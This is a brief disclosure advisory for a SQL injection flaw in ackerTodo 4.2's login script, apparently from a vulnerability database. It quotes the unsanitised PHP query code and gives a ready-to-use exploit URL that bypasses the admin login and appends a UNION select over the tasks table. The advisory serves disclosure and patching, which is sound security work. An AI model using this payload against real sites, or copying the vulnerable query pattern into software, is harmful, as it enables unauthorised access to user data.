`ackerTodo 4.2 SQL Injection
vendor: http://ackertodo.sourceforge.net/site2/index.html
File: gadget/login.php
Exploiting this issue could allow an attacker to access sensible data.
Vuln code:
$user_login = trim($_REQUEST['up_login']);
$user_pass = trim($_REQUEST['up_pass']);
$num_tasks = trim($_REQUEST['up_num_tasks']);
and after...
$result = db_query("SELECT * FROM ".$table_prefix."users "
."WHERE login='$user_login' "
."AND password=md5('$user_pass')");
and after...
$sql = $sql . ' LIMIT ' . $num_tasks;
Exploit:
http://site.com/gadget/login.php?up_login=admin&up_pass=wrongpass')%20or%20(%20'1'%20=%20'1'%20AND%20login%20=%20'admin&up_num_tasks=100%20UNION%20select%20*%20FROM%20tasks
Vendor has been informed and a patch has been committed into cvs
Regards
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation